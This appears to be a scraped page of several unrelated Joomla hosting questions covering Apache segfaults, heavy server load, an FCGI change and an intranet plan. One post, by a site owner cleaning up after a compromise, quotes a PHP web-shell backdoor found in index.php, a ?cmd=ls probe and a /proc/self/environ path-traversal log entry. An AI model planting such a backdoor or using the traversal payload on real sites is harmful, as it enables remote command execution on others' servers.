Questions[joomla](server)

when I installed joomla I can't see the index.php and I get this messages in my /var/log/apache2/error.log

[notice] child pid 3211 exit signal Segmentation fault (11)

for activate the coredump, I follow the instructions in this link

CoreDumpDirectory /tmp/apache2-gdb-dump # added this to /etc/apache2/apache2.conf
mkdir -p /tmp/apache2-gdb-dump
chown www-data: /tmp/apache2-gdb-dump
chmod 0777 /tmp/apache2-gdb-dump
/etc/init.d/httpd restart

but I don't see nothing in coredumpdirectory

ls /tmp/apache2-gdb-dump

I can see the localhost/administrator of joomla but not localhost/index.php.

I'm seriously in need of help. My sites are now nearly impossible to use because of massive loads on my server. I'm already a month late on my mortgage and this really isn't helping my situation. I've been working on fixing this intermittent load problem for months (never this bad).

I'm suspecting some kind of attack since I'm under DDOS attack a lot! I've been trying to figure out what is causing the load but I'm afraid I just don't have the experience or knowledge to understand all the data I've been looking at. I don't even know where to begin or how to test for the large array of attacks out there.

Here's some data you might find useful...

Server: Xeon X3220 Quad Core 2.4 GHz - Linux, FreeBSD 500 GB HD and 8 Gig of Ram. Runs Centos release 5.7 Server Version: Apache/2.2.21 (Unix) mod_ssl/2.2.21 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_qos/9.74

Warning: All sites are softcore adult sites - mostly fantasy art like elves and amazons.

1) Sites may run fine for weeks or just days at less than 10 load then start jumping to 40-80 load - no idea why. Same sites, same mods, same amount of traffic - just WHAM!

2) I get an email almost every day that says: "Large Number of Failed Login Attempts from IP (different each time)". My webhost (who almost never helps me) told me it was a udp flood or something.

3) I've changed the port for MySQL from the default. If I ever put it back to the default - I get Loads of over 100 from what must be a constant mysql port flood.

4) I've reconfigured MYSQL. Link: http://www.deadlyamazons.com/logs/mycnf.txt

5) I have 3 Joomla Jomsocial networks. I've spent a couple weeks turning all the mods/plugins off, waiting a day and then turning them back on the next day or later if there isn't any change (there hasn't been). For example, on Thursday I'll turn off videos, on Friday I'll turn off chat.. etc and nothing changes the load appreciably.

6) Joomla info: All SEF turned off - sh404sef completely disabled and removed. Components: Joomla 1.5.22, Jomsocial 2.0.5, Kunena 1/31/2011, HWDMediashare 11/22/2010 and JBolo Chat 2.7.3, Comet Chat or Envolve Chat. Page Compression is on, Cache is on 15 mins.

Please click on this forum to see links to all my reports: http://forum.joomla.org/viewtopic.php?f=433&t=706035&p=2777500#p2777500

4/9/12 - Added this part:

Hi guys I'm back with some more info about my poor server. The server is currently limping along with a load of between 20 and 60 averaging about 30.

I'll add an incentive to solving my problem: $100 via Paypal for an answer that solves the 'load' problem without the suggestion of buying 1 or more extra servers. Again, these sites worked fine with even higher traffic on a lower powered server.

I just recompiled apache 2.22 adding eaccelerator and zend-optimizer - no change. The other mod I included was QOS which keeps the # of connections at a lower level. I've had QOS working for awhile.

Suggestions and Requests:

Yes I did turn off the port to MySQL I should've mentioned that.

Traffic stats:

March bandwidth: 579.19G

KBytes Mar 2012: 3,194,134,948 | Dec 2011: 3,504,864,832

Visits Mar 2012: 920,619 | Dec 2011: 727,843

Pages Mar 2012: 10,231,430 | Dec 2011: 10,830,700

Files Mar 2012: 89,218,232 | Dec 2011: 102,862,958

Hits Mar 2012: 106,515,577 | Dec 2011: 120,884,007

Videos of Top -C during high load: Here are AVIs of 2 'Top -c's that I took when the server was running between 30 and 40 load.

Download 1.5 minute / 30M clip: http://www.mediafire.com/?yk3b5xota7l7s30

Download 30 second / 10M clip: http://www.mediafire.com/?4c2t37i8gmd189w

Videos of MySQL Processlist during high load Here are AVIs of 2 'Show Processlist' inside CPanel when the server was running between 60-30 load.

Download 2 minute / 40M clip: http://www.mediafire.com/?ymmfe8599bx11ho

Download 30 second / 10M clip: http://www.mediafire.com/?e675p3p1f0l65jt

DStat stats: 4 Sceeencaps taken in a row... Links:

http://www.deadlyamazons.com/logs/dstat01.jpg

http://www.deadlyamazons.com/logs/dstat02.jpg

http://www.deadlyamazons.com/logs/dstat03.jpg

http://www.deadlyamazons.com/logs/dstat04.jpg

Stats placed on Joomla Board that couldn't be seen earlier:

netstat -alntp | grep :80 | wc -l (1586)

netstat -n | grep :80 | grep SYN |wc -l (30)

netstat -anp |grep .tcp\|udp. | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n (nothing)

netstat -alntp | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n - Report: http://www.deadlyamazons.com/logs/netstat_alntp_awk_print_5_2.txt

netstat -alntp | grep :80 - http://www.deadlyamazons.com/logs/netstat_alntp_grep_80_2.txt

Top (command line) http://www.deadlyamazons.com/logs/top01_cli.jpg Top 2 (command line) http://www.deadlyamazons.com/logs/top02_cli.jpg Top (WHM) http://www.deadlyamazons.com/logs/top01_whm.jpg Top 2 (WHM) http://www.deadlyamazons.com/logs/top02_whm.jpg IOStat (command line) http://www.deadlyamazons.com/logs/iostat.jpg Daily Process Log (WHM) http://www.deadlyamazons.com/logs/daily_process_log.jpg Process Trace MYSQL (txt) (HUGE!) http://www.deadlyamazons.com/logs/trace_mysql.txt Process Trace MYSQL (rtf) http://www.deadlyamazons.com/logs/trace_mysql.rtf Process Trace sxyamzn (txt) http://www.deadlyamazons.com/logs/sexyamazonscom_indexphp.txt Process Trace sxyamzn (rtf) http://www.deadlyamazons.com/logs/sexyamazonscom_indexphp.rtf Process Trace sleepps (txt) http://www.deadlyamazons.com/logs/sleeppeepscom_indexphp.txt Process Trace sleepps (rtf) http://www.deadlyamazons.com/logs/sleeppeepscom_indexphp.rtf

Any help would be appreciated.

I have a server set up on CentOS and I need to change the API from CGI to FCGI (Someone else set this up initially) for x-cache to work (we need this as we have a TV appearance on monday and are expecting high-load).

The server is a dedicated Dell R210 with Intel Xeon L3426 (8M Cache 1.86GHz) and 2GB RAM - but it craps out with 244 concurrent clients (through loadimpact.com).

The plan is to install nginx as a reverse proxy for apache and config apache to listen on port 81 localhost and have nginx forward requests to apache.

At the moment what is killing our processor is php rendering as we are running Joomla 1.5 and as such I want to run x-cache as an op-code cacher to RAM. But x-cache doesn't work with CGI - only FCGI and so ends my explanation as why this needs to be done.

Is this a safe change for a Joomla site?

How can this be done through CLI - we have cpanel but I hate it.

A Joomla site I'm running was hacked the other day. The hacker dropped some files into the tmp directory and was running an HTTP Daemon there somehow (at least that's what my host told me). At any rate, I've been trying to clean up the files they left behind and secure what I can, but in checking my logs I noticed a hit on www.domain.com/?cmd=ls. This seemed strange to me, so I tried it... and lo and behold it lists all the files in the root directory of my site. Can someone explain to me why this is happening and how I stop it? This seems like a huge exploit, which I'd like to eliminate immediately.

Update: In digging I noticed a few extra lines added to my Joomla index.php:

if ($_GET['cmd']!=null) {
     system($_GET['cmd']);
}

I've removed these, but am curious to know how the attacker managed to edit these to begin with. Not really sure where to look to make sure I've closed any back doors.

More Updates: First let me say that yes, I realize the proper course of action here is to blow the site away and restore from backup. However I'd prefer to leave that as a last resort since (a) it's a site that depends on community contributions and my backups aren't that recent (my fault, I know) and (b) I'm working on a new version that should be ready soon. But since I seem to be getting some assistance here I'll add some of the other things that I found/did in an attempt to fix this situation.

Found some .kin (or something like that - didn't make note of it and deleted it right away) directory in my /tmp folder which was obviously where this http daemon was running from. I'm assuming that the gunzip (mentioned below) was how this was placed here.

In my error_log files I found the following suspect entries (the "..." is my attempt to remove the path/filenames from this post):

[04-Jul-2010 09:45:58] PHP Fatal error:  Class 'CkformsController../../../../../../../../../../../../../../../proc/self/environ' not found in ... on line 24

[05-Jul-2010 12:31:30] PHP Notice:  Undefined index:  HTTP_USER_AGENT in ... on line 92

[04-Jul-2010 06:41:52] PHP Warning:  rmdir(...) [<a href='function.rmdir'>function.rmdir</a>]: Directory not empty in ... on line 1719

I've updated the CKForms component (which was listed as having a known exploit with the version I was running), as well as another component listed in the HTTP_USER_AGENT message.

In my stat logs I found that the same IP address attempted the ?cmd=ls twice, so I blocked that IP (somewhere in Indonesia).

I updated my Joomla installation to the latest.

I found system.ph and system.php files in my root which had a gunzip/base64 encoded string, which I deleted.

I've gone through all of the directories within the installation where the timestamp is recent to see if any abnormal files exist.

Deleted a cron job pointing to .../tmp/.kin/up2you >/dev/null 2>&1

Also, I'd be concerned that even if I did restore from a backup, whatever exploit used would still exist, so root cause and prevention is really what I'm going for here.

I've been tasked with the job of building a web server and Intranet site using perhaps Joomla for creating an alternative to Microsoft Sharepoint and would like some advice of what steps to take and how to get started.

A bit of background is that we used Sharepoint which was included with our SBS server, and have migrated to Server 2003 and would like to have a solution as similar as can be to Sharepoint for FREE or a fraction of the cost. Ideally we would like it to be a central point for employees to use to keep upto date with Internal news, have a calendar, and links to stored documents like SOP's (Standard Operating Procedures).

I hope that explains it a bit better, sorry for being so unclear in my first post!